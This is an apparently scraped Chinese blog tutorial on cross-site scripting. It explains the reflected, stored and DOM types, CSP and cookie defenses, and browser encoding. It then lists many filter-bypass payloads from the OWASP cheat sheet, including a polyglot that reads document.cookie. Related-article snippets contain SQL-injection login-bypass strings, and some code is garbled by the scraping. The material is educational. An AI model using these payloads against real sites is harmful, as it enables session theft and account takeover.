XSS扫盲到漏洞挖掘上手

XSS扫盲到漏洞挖掘上手

 复习xss ,也总结一下XSS基础的点到进阶的知识


 目录

0x01 XSS扫盲入门

0x02 XSS payload构造

0x03 XSS payload变形进阶

 

0x01 XSS扫盲入门

XSS是什么?

XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。跨站点脚本(XSS)攻击是一种注射型攻击,攻击者在可信的网页中嵌入恶意代码,用户访问可信网页时触发XSS而被攻击。

XSS会造成那些危害?

  • 网络钓鱼,包括获取各类用户账号;
  • 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
  • 劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等;
  • 强制弹出广告页面、刷流量等;
  • 网页挂马;
  • 进行恶意操作,如任意篡改页面信息、删除文章等;
  • 进行大量的客户端攻击,如ddos等;
  • 获取客户端信息,如用户的浏览历史、真实ip、开放端口等;
  • 控制受害者机器向其他网站发起攻击;
  • 结合其他漏洞,如csrf,实施进一步危害;
  • 提升用户权限,包括进一步渗透网站;
  • 传播跨站脚本蠕虫等

XSS的分类

  1. 反射性XSS
  2. 存储型XSS
  3. DOM型XSS

 

A) 反射XSS

又称非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。



 
  
  
  
  
  
  XSS-LEVEL1反射XSS
 
 
  

反射XSS-LEVEL1 By 卿



输入您需要提交的内容

"; echo "您提交的内容是:".$xss; } ?>

这段代码中首先包含一个表单,用于向页面自己发送GET请求,带一个名为xss的参数。 然后PHP会读取该参数,如果不为空,则直接打印出来,这里不存在任何过滤。也就是说,如果xss中存在HTML结构性的内容,打印之后会直接解释为HTML元素。

提交

XSS扫盲到漏洞挖掘上手_第1张图片

我们输入的HTML代码被执行了。查看审查元素,我们插入的内容被当做html元素显示在页面上了。

XSS扫盲到漏洞挖掘上手_第2张图片

B)存储型xss

又称持久型XSS,比反射型XSS更具有威胁性,并且可能影响到Web服务器自身的安全。攻击脚本将被永久的存放在目标服务器的数据库或文件中。

RT-xss.php内容:



 
  
  
  
  
  
  XSS-LEVEL1反射XSS
 
 
  

存储型XSS-LEVEL1 By 卿



输入您需要提交的内容

点击查看提交的内容

打印输出内容的show.php:

";
    }
?>

访问RT-XSS.php,输入

XSS扫盲到漏洞挖掘上手_第3张图片

 

 

点击test,点击之后却发现没有任何动静,但事实上,我们的数据已经插入到了数据库中

 

XSS扫盲到漏洞挖掘上手_第4张图片

 

C) DOM-XSS型

DOM(Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象的一种漏洞。DOM型XSS是基于js上的。不需要与服务器进行交互



 
  
  
  
  
  
  XSS-LEVEL1反射XSS
 
 
  

DOM-XSS-LEVEL1 By 卿



输入您需要提交的内容



输入

,

点击test

XSS扫盲到漏洞挖掘上手_第5张图片

 

 

提到xss,不得提一下xss的 防御策略

 

Content Security Policy(CSP)内容安全策略

为了防范XSS,CSP出现了。

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,提供了这种白名单之后,实现和执行则由浏览器完成

通过一系列的自定义配置,可以在很大程度上防止恶意脚本的攻击,建议进行配置。

Cookie 配置

大多使用cookie来实现对用户的认证。如果攻击者拿到了这个认证cookie,就可以登录了用户的账号了

XSS的主要目的是为了得到cookie,当然也不仅是为了获取cookie

cookie安全注意点

Httponly:防止cookie被xss偷
https:防止cookie在网络中被偷
Secure:阻止cookie在非https下传输,很多全站https时会漏掉
Path :区分cookie的标识,安全上作用不大,和浏览器同源冲突

通过设置 cookie的几个属性,可以在一定程度上保障网站的安全

 

 0x02 XSS payload构造

了解了xss分类和原理后我们需要思考的是:在什么地方可以执行JS相关的代码

先学习下关于编码的问题。

浏览器的解析过程

浏览器在解析HTML文档期间,根据文档中的内容,会经过 HTML解析、JS解析和URL解析几个过程

首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这完成HTML解码工作并创建DOM树

如果HTML文档中存在JS的上下文环境,JavaScript解析器会介入对内联脚本进行解析,完成JS的解码工作。

如果浏览器遇到需要URL的上下文环境,URL解析器也会介入完成URL的解码工作。

URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析

HTML实体编码

浏览器会对一些字符进行特殊识别处理,比如将 < > 识别为标签的开始结束。

要想在HTML页面中呈现出特殊字符,就需要用到对应的字符实体。比如在HTML解析过程中,如果要求输出值为 < > ,那么输入值应该为其对应的实体 < >

字符实体以&开头 + 预先定义的实体名称,以分号结束,如“<”的实体名称为<

或以&开头 + #符号 以及字符的十进制数字,如”<”的实体编号为<

或以&开头 + #x符号 以及字符的十六进制数字,如”<”的实体编号为<

字符都是有实体编号的但有些字符没有实体名称。

Javascript编码

Unicode 是字符集,而 utf-8,utf-16,utf-32 是编码规则

最常用的如“\uXXXX”这种写法为Unicode转义序列,表示一个字符,其中xxxx表示一个16进制数字

如”<” Unicode编码为“ ”,不区分大小写

URL编码

%加字符的ASCII编码对于的2位16进制数字,如”/”对应的URL编码为%2f

 

常见XSS payload位置

1、html内容中

1.1 大小写不敏感

 

1.2 嵌套绕过Ipt>

1.3 svg 注入(HTML5 支持内联 SVG)

1.4 执行代码转换成unicode编码,再通过eval执行

XSS扫盲到漏洞挖掘上手_第6张图片

 

 

2. HTML标签属性中

很多时候输出发生在HTML属性, 例如

,再比如

2.1 自行闭合双引号构造闭合标签:

" onclick="alert(1)
">
">
2
aaa
aaa

构造on事件:

 " onmouseover=alert(document.domain)>

增加注释符//:

" onmouseover=alert(document.domain)> //

利用html5 autofocus功能进行XSS:

aaaaa" name="javasCript:alert()" autofocus onfocus="location=this.name" aaa">

很多时候遇到的场景并不会这么简单, 程序员会将双引号 " 过滤为实体 例如

Form标签闭合引号:

#action后面直接空格     
     
     
     

2.2 两个常见的输出例子

xxxx  

实际上, onxxxx="[输出]" 和 href="javascript:[输出]" 与 没有太大区别。因为[输出]所在的地方,都是javascript脚本。

但是 如果被过滤,往往没有太好的办法。而上面这2种情况,则有一个很好的办法绕过过滤。

在HTML属性中,会自动对实体字符进行转义,例如 是等效的

由于单引号'被过滤,我们可以将'写为'

location.href='........&key=aaaaaa'
location.href='........&key=aaaaaa'+alert(1)+''
location.href='........&key=aaaaaa'+alert(1)+'‘

接着我们把代码转换为 url 的编码。 &-> %26, # -> %23最后

key=%26%23x27;%2balert(1)%2b%26%2aaaaaaa3x27;

缺陷点是发生在 onkeydown 或 a 标签的 href 属性中,无法自动触发,因而使得威胁减小,如果是发生在 img 的 onload 属性,则非常可能导致自动触发

 

 

 

3. js内容中(代码执行上下文中,我们可以 首先判断,是否过滤了* < , > , /* 等特殊符号,如果没有被过滤可以XSS可能性就很高

 

尽量不要在JS的注释里输出内容, 还挺危险的。

防御方式:将一下特殊字符进行转义
防御方式: 对这些输出的特殊字符进行编码

XSS扫盲到漏洞挖掘上手_第7张图片

 

 

0x03 XSS payload变形绕过

参考XSS备忘录

RSnake提供给 OWASP,内容基于他的XSS备忘录:http://ha.ckers.org/xss.html。目前这个网页已经重定向到OWASP网站,将由OWASP维护和完善它。

列举一些常用例子:

 XSS定位器

在大多数存在漏洞且不需要特定XSS攻击代码的地方插入下列代码会弹出包含“XSS”字样的对话框。使用URL编码器来对整个代码进行编码。小技巧:如果你时间很紧想要快速检查页面,通常只要插入“<任意文本>”标签,然后观察页面输出是否明显改变了就可以判断是否存在漏洞:

 

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–>”>’>

.  XSS定位器(短)

如果你没有足够的空间并且知道页面上没有存在漏洞的JavaScript,这个字符串是一个不错的简洁XSS注入检查。注入后查看页面源代码并且寻找是否存在

”;!–”=&{()}

 

  无过滤绕过

这是一个常规的XSS注入代码,虽然通常它会被防御,但是建议首先去测试一下。(引号在任何现代浏览器中都不需要,所以这里省略了它):

 利用多语言进行过滤绕过

 

‘”>>”><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script><script>alert(document.cookie)</script>”><img/id=”confirm&lpar;1)”/alt=”/”src=”/”onerror=eval(id)>’”><img src=”http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg“></code></pre> 
  <p> </p> 
  <p> 通过JavaScript命令实现的图片XSS</p> 
  <p>图片注入使用JavaScript命令实现(IE7.0 不支持在图片上下文中使用JavaScript 命令,但是可以在其他上下文触发。下面的例子展示了一种其他标签依旧通用的原理):</p> 
  <pre><code class="language-html hljs"><IMG SRC=”javascript:alert(‘XSS’);”></code></pre> 
  <p> </p> 
  <p> 无分号无引号</p> 
  <pre><code class="language-html hljs"><IMG SRC=javascript:alert(‘XSS’)></code></pre> 
  <p> </p> 
  <p>不区分大小写的XSS攻击向量</p> 
  <pre><code class="language-html hljs"><IMG SRC=JaVaScRiPt:alert(‘XSS’)></code></pre> 
  <p> </p> 
  <p> HTML实体</p> 
  <p>必须有分号才可生效</p> 
  <blockquote>
    <IMG SRC=javascript:alert(&quot;XSS&quot;)> 
  </blockquote> 
  <p> </p> 
  <p> 重音符混淆</p> 
  <p>如果你的JavaScript代码中需要同时使用单引号和双引号,那么可以使用重音符(`)来包含JavaScript 代码。这通常会有很大帮助,因为大部分跨站脚本过滤器都没有过滤这个字符:</p> 
  <pre><code class="language-html hljs"><IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`></code></pre> 
  <p> </p> 
  <p> </p> 
  <h1> </h1> 
  <p>posted @ 2019-06-01 19:20 卿先生 阅读(...) 评论(...) 编辑 收藏</p> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1396615103889068032"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(SQL注入,Web渗透)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1950161706533580800.htm"
                           title="SQL笔记纯干货" target="_blank">SQL笔记纯干货</a>
                        <span class="text-muted">AI入门修炼</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a>
                        <div>软件:DataGrip2023.2.3,phpstudy_pro,MySQL8.0.12目录1.DDL语句(数据定义语句)1.1数据库操作语言1.2数据表操作语言2.DML语句(数据操作语言)2.1增删改2.2题2.3备份表3.DQL语句(数据查询语言)3.1查询操作3.2题一3.3题二4.多表详解4.1一对多4.2多对多5.多表查询6.窗口函数7.拓展:upsert8.sql注入攻击演示9.拆表</div>
                    </li>
                    <li><a href="/article/1950046482384089088.htm"
                           title="SQL注入:原理、类型与防范策略" target="_blank">SQL注入:原理、类型与防范策略</a>
                        <span class="text-muted">数据冰山</span>

                        <div>本文还有配套的精品资源,点击获取简介:SQL注入是一种网络攻击手段,通过不当构建的SQL查询允许攻击者插入恶意代码,从而控制数据库。这种攻击可能导致数据泄露、篡改或系统控制。介绍了SQL注入的类型,包括错误信息注入、时间基注入、盲注和堆叠查询。提供了防范SQL注入的方法,包括使用参数化查询、输入验证、转义特殊字符等策略,并建议限制数据库权限和错误处理。教程资源可能包含在"SQL注入整理"压缩包中,</div>
                    </li>
                    <li><a href="/article/1950046482811908096.htm"
                           title="掌握SQL注入:漏洞演示与防护策略实战源代码" target="_blank">掌握SQL注入:漏洞演示与防护策略实战源代码</a>
                        <span class="text-muted">May Wei</span>

                        <div>本文还有配套的精品资源,点击获取简介:SQL注入是一个影响Web应用和数据库安全的漏洞。通过本项目源代码演示,开发者能深入理解SQL注入的工作机制及其攻击方法。文档和源代码示例将指导如何通过构造恶意SQL语句执行非授权数据库操作,以及如何通过实践学习防止此类攻击,包括安全编码、输入验证、错误处理、数据库权限设置和日志监控等。1.SQL注入概念和攻击方法1.1SQL注入漏洞的基本原理1.1.1SQL</div>
                    </li>
                    <li><a href="/article/1950041568622735360.htm"
                           title="SQL 注入攻击全面解析:分类、典型案例与防御实践" target="_blank">SQL 注入攻击全面解析:分类、典型案例与防御实践</a>
                        <span class="text-muted">阿贾克斯的黎明</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a>
                        <div>目录SQL注入攻击全面解析:分类、典型案例与防御实践一、SQL注入基础概念1.1什么是SQL注入(SQLInjection)二、SQL注入攻击分类与典型案例2.1基于注入位置的分类2.1.1数字型注入2.1.2字符串型注入2.2基于回显结果的分类2.2.1显式回显注入(Union-BasedInjection)2.2.2盲注(BlindSQLInjection)2.3基于攻击手法的分类2.3.1堆</div>
                    </li>
                    <li><a href="/article/1949998940879384576.htm"
                           title="CTF-Web学习笔记:SQL注入篇" target="_blank">CTF-Web学习笔记:SQL注入篇</a>
                        <span class="text-muted">编程到天明</span>
<a class="tag" taget="_blank" href="/search/CTF/1.htm">CTF</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a>
                        <div>目录引言一、SQL注入的基础概念1.什么是SQL注入?2.SQL注入的成因二、CTF中常见的SQL注入类型1.按参数类型分类2.按注入方式分类3.其他进阶类型三、CTF实战技巧:从找注入点到拿Flag1.如何判断是否存在注入?2.快速确定数据库类型3.常用工具辅助4.绕过WAF(Web应用防火墙)四、CTF题目示例:一道报错注入实战题目背景解题步骤五、总结与提升引言在CTF(CaptureTheF</div>
                    </li>
                    <li><a href="/article/1949720150290788352.htm"
                           title="高级07-Java安全编程:保护你的应用免受攻击" target="_blank">高级07-Java安全编程:保护你的应用免受攻击</a>
                        <span class="text-muted">Jinkxs</span>
<a class="tag" taget="_blank" href="/search/Java%E9%AB%98%E7%BA%A7%E7%AF%87/1.htm">Java高级篇</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>引言在当今的数字时代,应用程序的安全性已成为软件开发过程中不可忽视的重要环节。Java作为一门广泛应用于企业级应用开发的编程语言,其安全性问题尤其受到关注。无论是在Web应用、移动应用还是后端服务中,Java开发者都需要面对各种潜在的安全威胁,如SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)、身份验证漏洞等。因此,掌握Java安全编程的最佳实践,不仅能够提升应用程序的健壮性,还能有效</div>
                    </li>
                    <li><a href="/article/1949386158609854464.htm"
                           title="SQL盲注(异或注入)" target="_blank">SQL盲注(异或注入)</a>
                        <span class="text-muted"></span>

                        <div>做题时偶然遇到一道sql注入很多关键字都过滤了看wp说是异或注入遂研究了一下目录什么是异或,异或是干什么的?基于这个基础做一下sqllabs11关什么是异或,异或是干什么的?异或(XOR),在数学和逻辑运算中,是一种二元运算,表示为“⊕”或“^”。它的特点是:如果两个比较的位不同,则结果为1(真)。如果两个比较的位相同,则结果为0(假)。在逻辑运算中,异或可以这样理解:真XOR真=假真XOR假=真</div>
                    </li>
                    <li><a href="/article/1949378592852996096.htm"
                           title="sql注入之布尔盲注" target="_blank">sql注入之布尔盲注</a>
                        <span class="text-muted">南棋子网络安全盟</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a>
                        <div>布尔盲注在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。判断条件判断函数条件判断函数if是SQL时间盲注中的必用函数,可以利用if函数来根据条件来反馈不同的结果。if函数格式如下所示:if([条件],[值1],[值2])当条件成立时,if函数返回值1,当条件不成立时,if函数返回值2.布尔型盲注入用到的SQL语句selectif(1=1,1,0)。if()函数在mysql是判断,第一个</div>
                    </li>
                    <li><a href="/article/1949201680235032576.htm"
                           title="常见漏洞描述及修复建议" target="_blank">常见漏洞描述及修复建议</a>
                        <span class="text-muted">_JINJI_</span>
<a class="tag" taget="_blank" href="/search/%E5%B8%B8%E7%94%A8%E7%9F%A5%E8%AF%86/1.htm">常用知识</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a>
                        <div>1.SQL注入漏洞漏洞描述Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行,导致参数中的特殊字符破坏了SQL语句原有逻辑,攻击者可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。修复建议代码层最佳防御sql漏洞方案:使用预编译sql语句查询和绑定变量。使用预编译语句,使用PDO需要注意不要将变量直接拼接到PDO语句中。所有</div>
                    </li>
                    <li><a href="/article/1948964634434269184.htm"
                           title="【网络安全】2025年最新高频面试真题(答案+解析)" target="_blank">【网络安全】2025年最新高频面试真题(答案+解析)</a>
                        <span class="text-muted">前字节网络安全工程师</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>金九银十将至,难免有不少小伙伴面临跳槽或者找工作,本文总结了常见的安全岗位面试题,方便各位复习。祝各位事业顺利,财运亨通。1.解释OWASPTop10中的SQL注入漏洞?注入原理、常见防御措施(如参数化查询)、实际漏洞案例2.描述OSI模型七层及其安全风险?每层名称(如物理层)、漏洞类型(如数据链路层ARP欺骗)、防护工具3.什么是XSS攻击?如何区分存储型和反射型?恶意脚本执行示例、漏洞利用场景</div>
                    </li>
                    <li><a href="/article/1948956944014307328.htm"
                           title="【202版】最新十大漏洞讲解来了!(附原理+防御措施)看完这一篇就够了" target="_blank">【202版】最新十大漏洞讲解来了!(附原理+防御措施)看完这一篇就够了</a>
                        <span class="text-muted">网络安全入门学习教程</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>导读网络安全攻击随着对抗技术的不断迭代更新,逐渐变得越来越复杂,网络安全攻击通常会给企业或个人造成严重的财务和声誉损失。现在在网络中每天都在发生各种类型的网络攻击,并且网络攻击给企业和个人带来的影响越来越大。在大多数的小公司中,信息安全充其量仅限于安装防病毒软件。并没有做好足够的网络安全攻击的防御。下面就开始整理下常见的网络漏洞和防御网络漏洞安全思路。一、sql注入漏洞产生原因应用程序将用户输入(</div>
                    </li>
                    <li><a href="/article/1948944597593944064.htm"
                           title="sql注入系列 sqli-labs-less-3" target="_blank">sql注入系列 sqli-labs-less-3</a>
                        <span class="text-muted">yzcn</span>
<a class="tag" taget="_blank" href="/search/sql%E6%B3%A8%E5%85%A5/1.htm">sql注入</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/1.htm">安全漏洞</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/web/1.htm">web</a><a class="tag" taget="_blank" href="/search/labs/1.htm">labs</a>
                        <div>Less-3判断注入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1显示正常http://127.0.0.1/sqli-labs-master/Less-3/?id=1’出错,错误:’‘1’’)LIMIT0,1’,多了半个)http://127.0.0.1/sqli-labs-master/Less-3/?id=1’)--+显示正常,表明存在注入漏洞,</div>
                    </li>
                    <li><a href="/article/1948929213310496768.htm"
                           title="网络安全安全常见十大漏洞(原理+防御措施)" target="_blank">网络安全安全常见十大漏洞(原理+防御措施)</a>
                        <span class="text-muted">可口可乐没有乐</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
                        <div>导读网络安全攻击随着对抗技术的不断迭代更新,逐渐变得越来越复杂,网络安全攻击通常会给企业或个人造成严重的财务和声誉损失。现在在网络中每天都在发生各种类型的网络攻击,并且网络攻击给企业和个人带来的影响越来越大。在大多数的小公司中,信息安全充其量仅限于安装防病毒软件。并没有做好足够的网络安全攻击的防御。下面就开始整理下常见的网络漏洞和防御网络漏洞安全思路。一、sql注入漏洞产生原因应用程序将用户输入(</div>
                    </li>
                    <li><a href="/article/1948827228909400064.htm"
                           title="混合攻击防御:DDoS 防护与漏洞利用拦截技术协同实践" target="_blank">混合攻击防御:DDoS 防护与漏洞利用拦截技术协同实践</a>
                        <span class="text-muted"></span>

                        <div>现代网络攻击已从单一类型转向“混合攻击”——攻击者同时发起DDoS攻击消耗防护资源,再利用漏洞入侵系统,如“UDPFlood+SQL注入”“CC攻击+文件上传漏洞利用”。单一防护手段难以应对,需构建DDoS防护与漏洞利用拦截的协同防御体系。一、混合攻击的特征与防御挑战混合攻击结合了网络层攻击(DDoS)和应用层攻击(漏洞利用)的特点,防御难度显著提升:攻击特征多维度施压:DDoS攻击占用带宽或服务</div>
                    </li>
                    <li><a href="/article/1948220716855914496.htm"
                           title="PHP防范SQL注入攻击的5种高效方法与实践" target="_blank">PHP防范SQL注入攻击的5种高效方法与实践</a>
                        <span class="text-muted">独立开发者阿乐</span>
<a class="tag" taget="_blank" href="/search/%E7%BB%BC%E5%90%88%E6%80%A7%E5%8E%9F%E5%88%9B/1.htm">综合性原创</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E6%94%BB%E5%87%BB/1.htm">攻击</a><a class="tag" taget="_blank" href="/search/PDO/1.htm">PDO</a><a class="tag" taget="_blank" href="/search/MySQLi/1.htm">MySQLi</a><a class="tag" taget="_blank" href="/search/SQL%E6%B3%A8%E5%85%A5/1.htm">SQL注入</a>
                        <div>文章目录PHP防止SQL注入攻击的全面指南一、SQL注入攻击概述1.1什么是SQL注入1.2SQL注入的危害1.3常见SQL注入示例二、PHP防御SQL注入的核心策略2.1使用预处理语句(PreparedStatements)PDO预处理示例MySQLi预处理示例2.2输入验证与过滤2.3使用ORM框架LaravelEloquent示例2.4最小权限原则三、进阶防御策略3.1使用Web应用防火墙(</div>
                    </li>
                    <li><a href="/article/1948028838839644160.htm"
                           title="软件测试面试题:SQL注入漏洞产生的原因?如何防止?" target="_blank">软件测试面试题:SQL注入漏洞产生的原因?如何防止?</a>
                        <span class="text-muted"></span>

                        <div>SQL注入漏洞产生的原因?如何防止?SQL注入产生的原因:程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行。防止SQL注入的方式:开启配置文件中的magic_quotes_gpc和magic_quotes_runtime设置执行sql语句时使用addslashes进行sql语句转换Sql语句书写尽量不要省略双引号和单引</div>
                    </li>
                    <li><a href="/article/1947492987231596544.htm"
                           title="SQL注入万能密码" target="_blank">SQL注入万能密码</a>
                        <span class="text-muted">微凉_z</span>
<a class="tag" taget="_blank" href="/search/SQL%E6%B3%A8%E5%85%A5/1.htm">SQL注入</a><a class="tag" taget="_blank" href="/search/%E4%B8%87%E8%83%BD%E5%AF%86%E7%A0%81/1.htm">万能密码</a>
                        <div>'or1='1'or'='or'adminadmin'--admin'or1=1--admin'or'1'='1'--admin888"or"a"="aadmin'or1=1#a'having1=1#a'having1=1--admin'or'2'='2')or('a'='aor1=1--a'or'1=1--"or1=1--'or'a'='a"or"="a'='a'or''=''or'='or'1</div>
                    </li>
                    <li><a href="/article/1947480884730982400.htm"
                           title="常见的万能密码" target="_blank">常见的万能密码</a>
                        <span class="text-muted"></span>

                        <div>目录1.通用SQL注入2.登录绕过3.密码重置1.通用SQL注入'or1=1--"or1=1--'or'a'='a"or"a"="a'or1=1#"or1=1#'or1=1/*"or1=1/*'or'1'='1"or"1"="12.登录绕过admin'--admin'or1=1--admin'or'a'='aadmin'or1=1#admin'or1=1/*admin'or'1'='1admin'</div>
                    </li>
                    <li><a href="/article/1947415678940147712.htm"
                           title="渗透测试视角:Web 应用常见漏洞的利用与防御策略" target="_blank">渗透测试视角:Web 应用常见漏洞的利用与防御策略</a>
                        <span class="text-muted"></span>

                        <div>Web应用已成为企业业务的核心载体,但SQL注入、XSS、文件上传漏洞等安全问题频发。从渗透测试视角分析漏洞的利用原理,才能制定更有效的防御策略。本文将结合实战案例,解析Web应用常见漏洞的利用方式与防御方法。一、SQL注入漏洞:数据库的“隐形后门”SQL注入是最常见的Web漏洞之一,攻击者通过在参数中插入SQL语句,操控数据库获取数据或执行命令。漏洞原理与利用场景当Web应用未对用户输入进行过滤</div>
                    </li>
                    <li><a href="/article/1946931798319624192.htm"
                           title="XSS总结:跨站脚本(XSS)攻击向量(精)" target="_blank">XSS总结:跨站脚本(XSS)攻击向量(精)</a>
                        <span class="text-muted">墨痕诉清风</span>
<a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E5%B8%B8%E8%AF%86%E7%A0%94%E7%A9%B6/1.htm">渗透常识研究</a><a class="tag" taget="_blank" href="/search/xss/1.htm">xss</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/firefox/1.htm">firefox</a>
                        <div>alert(1)alert("xss")alert(9801)//url参数,加载元素//edit输入框插入//学SQL注入?其第一个1为正常参数1">alert(1)事件处理不需要用户交互的事件处理程序激活元素时触发(IE)页面打印后触发(Chrome、Firefox、IE)CSS动画取消时触发(Firefox)@keyframesx{from{left:0;}to{left:1000px;}}</div>
                    </li>
                    <li><a href="/article/1946905805659893760.htm"
                           title="秒杀系统设计思路" target="_blank">秒杀系统设计思路</a>
                        <span class="text-muted">先生zeng</span>

                        <div>昨天遇到这个问题,发现自己临时总结的不是很好,所以现在想重新整理一下思路。分析一下问题:类似淘宝那种做秒杀系统活动,你是如何设计的?场景分析:1.需到达某个时刻才可以开始秒杀(某个时刻之前需要控制拒绝请求)。2.一瞬间大量的请求到后台,服务器,数据库,缓存都会扛不住。(前端拦截、削峰,限流)3.满足条件才可以进行秒杀(最先过滤这些不满足条件的)4.防止恶意刷单请求,网站攻击(SQL注入,CSRF)</div>
                    </li>
                    <li><a href="/article/1946697695276101632.htm"
                           title="【Mybatis】精妙运用动态SQL:精准解决条件判断难题" target="_blank">【Mybatis】精妙运用动态SQL:精准解决条件判断难题</a>
                        <span class="text-muted">master_chenchengg</span>
<a class="tag" taget="_blank" href="/search/sql%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">sql数据库</a><a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a>
                        <div>【Mybatis】精妙运用动态SQL:精准解决条件判断难题一、引言:MySQL与Mybatis在现代开发中的核心地位二、技术概述:Mybatis动态SQL的魔力示例代码:基本的条件判断三、技术细节:动态SQL的实现原理与挑战四、实战应用:复杂查询条件的处理应用场景问题与解决方案五、优化与改进潜在问题与性能瓶颈优化建议六、常见问题与解决方案问题1:动态SQL导致的N+1查询问题问题2:SQL注入风险</div>
                    </li>
                    <li><a href="/article/1946450687986561024.htm"
                           title="九块九付费进群系统 wxselect SQL注入漏洞复现" target="_blank">九块九付费进群系统 wxselect SQL注入漏洞复现</a>
                        <span class="text-muted">0xSecl</span>
